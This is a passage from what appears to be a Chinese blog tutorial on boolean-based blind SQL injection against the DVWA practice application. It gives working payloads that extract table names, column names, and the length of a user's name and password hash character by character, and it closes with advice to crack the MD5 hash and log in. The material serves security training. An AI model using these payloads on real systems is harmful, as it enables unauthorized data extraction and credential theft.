②1' and (select ascii(substr(TABLE_NAME,1,1))=117 from information_schema.tables where TABLE_SCHEMA=database() limit 1,1)# |
③1' and ascii(substr((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA=database() limit 1,1),1,1)) =117# |
得出表的第一个字符为u,以此类推得出表名users;(步骤中没有体现二分法的一一列举,可自行调整“=117”的参数验证) |
5.3 爆破字段名
5.3.1 后端查询
5.3.1.1 确认字段名数量
以表users为例
select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users'; |
二分法判断dvwa库uses表的字段数量(等于号可自行改为大于号或小于号验证) |
select count(COLUMN_NAME)=10 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users'; |
select count(COLUMN_NAME)=5 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users'; |
select count(COLUMN_NAME)=8 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users'; |
最终确认表users中字段数量为8 |
5.3.1.2 确认字段名长度
以表users中user字段为例
select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users' limit 3,1; |
二分法判断字段名长度(步骤中没有体现二分法的一一列举,可自行调整“=4”的参数验证):二种方法 |
①select length(COLUMN_NAME)=4 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users' limit 3,1; |
②select length((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users' limit 3,1))=4; |
最终确认表长度为4 |
5.3.1.3 确认字段名每一个字符
以表users中user字段为例
select substr(COLUMN_NAME,1,1) from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users' limit 3,1; |
二分法判断字段名每一个字符(步骤中没有体现二分法的一一列举,可自行调整“=117”的参数验证):二种方法 |
①select ascii(substr(COLUMN_NAME,1,1))=117 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users' limit 3,1; |
②select ascii(substr((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users' limit 3,1),1,1)); |
二分法得出字段的第一个字符为u,以此类推,最终确认字段名为user |
5.3.2 前台查询
Payload:1' and 1=1# |
源码:SELECT first_name, last_name FROM users WHERE user_id = '$id'; |
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#'; |
5.3.3 组合前后端语句
5.3.3.1 确认字段名数量
前端:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#'; |
后端: select count(COLUMN_NAME)=8 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users'; |
组合前后端语句:两种(说明and后边的值是true) |
①SELECT first_name, last_name FROM users WHERE user_id = '1' and (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users')=8#'; |
②SELECT first_name, last_name FROM users WHERE user_id = '1' and (select count(COLUMN_NAME)=8 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users')#'; |
最终:组合前后端语句的payload:两种 |
①1' and (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users')=8# |
②1' and (select count(COLUMN_NAME)=8 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users')# |
利用二分法确认字段的数量是8;(步骤中没有体现二分法的一一列举,可自行调整“=8”的参数验证) |
5.3.3.2 确认字段名长度
前端:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#'; |
后端1: select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users' limit 3,1; |
后端2: select length(COLUMN_NAME)=4 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users' limit 3,1; |
后端3: select length((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users' limit 3,1))=4; |
组合前后端语句:三种(有输出表示and后边的语句为true) |
①SELECT first_name, last_name FROM users WHERE user_id = '1' and (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users' limit 3,1)=4#'; |
②SELECT first_name, last_name FROM users WHERE user_id = '1' and (select length(COLUMN_NAME)=4 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users' limit 3,1)#'; |
③SELECT first_name, last_name FROM users WHERE user_id = '1' and length((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users' limit 3,1))=4#'; |
最终:组合前后端语句的payload:三种 |
①1' and (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users' limit 3,1)=4# |
②1' and (select length(COLUMN_NAME)=4 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users' limit 3,1)# |
③1' and length((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users' limit 3,1))=4# |
依据二分法,以此类推得出字段名的长度为4;(步骤中没有体现二分法的一一列举,可自行调整“=4”的参数验证) |
5.3.3.3 确认字段名每一个字符
前端:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#'; |
后端1: select ascii(substr(COLUMN_NAME,1,1)) from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users' limit 3,1; |
后端2: select ascii(substr(COLUMN_NAME,1,1))=117 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users' limit 3,1; |
后端3: select ascii(substr((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users' limit 3,1),1,1))=117; |
组合前后端语句:三种 |
①SELECT first_name, last_name FROM users WHERE user_id = '1' and (select ascii(substr(COLUMN_NAME,1,1)) from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users' limit 3,1)=117#'; |
②SELECT first_name, last_name FROM users WHERE user_id = '1' and (select ascii(substr(COLUMN_NAME,1,1))=117 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users' limit 3,1)#'; |
③SELECT first_name, last_name FROM users WHERE user_id = '1' and ascii(substr((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users' limit 3,1),1,1))=117#'; |
最终:组合前后端语句的payload:三种 |
①1' and (select ascii(substr(COLUMN_NAME,1,1)) from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users' limit 3,1)=117# |
②1' and (select ascii(substr(COLUMN_NAME,1,1))=117 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users' limit 3,1)# |
③1' and ascii(substr((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users' limit 3,1),1,1))=117# |
依据二分法得第一个字符为u,以此类推得出字段名user;(步骤中没有体现二分法的一一列举,可自行调整“=117”的参数验证) |
同理也可以确认字段名password
5.4 爆破数据
至此,库名(dvwa),表名(users),字段名(user、password)都猜出来了;
以下不在赘述前后端对比分析payload过程,直接二分法验证payload。
5.4.1 用户名的字段值长度
1' and length((select user from users limit 0,1))>10# |
MISSING |
1' and length((select user from users limit 0,1))>5# |
MISSING |
1' and length((select user from users limit 0,1))>3# |
exists |
1' and length((select user from users limit 0,1))>4# |
exists |
1' and length((select user from users limit 0,1))=5# |
exists |
user字段中第1个字段值的字符长度=5,再使用ascii码的方式逐个爆破字符,步骤和上面一样,不再演示。
5.4.2 密码的字段值长度
1' and length(substr((select password from users limit 0,1),1))>10# |
exists |
1' and length(substr((select password from users limit 0,1),1))>20# |
exists |
1' and length(substr((select password from users limit 0,1),1))>40# |
MISSING |
1' and length(substr((select password from users limit 0,1),1))>30# |
exists |
1' and length(substr((select password from users limit 0,1),1))>35# |
MISSING |
1' and length(substr((select password from users limit 0,1),1))>33# |
MISSING |
1' and length(substr((select password from users limit 0,1),1))=32# |
exists |
password字段中第1个字段值的字符长度=32。
猜测这么长的密码位数,可能是用md5的加密方式保存,通过手工猜解每位数要花费的时间更久了。
然后继续利用以上方法(ascii + substr)猜出密码就可以了,最终密码为
验证字段值的有效性
将以上【password】通过MD5工具解析后,可填写到前台登录界面的输入框中,尝试登录是否成功。
标签:users,NAME,name,报错,SQL,TABLE,where,select,注入 From: https://www.cnblogs.com/cnblogsfc/p/18463389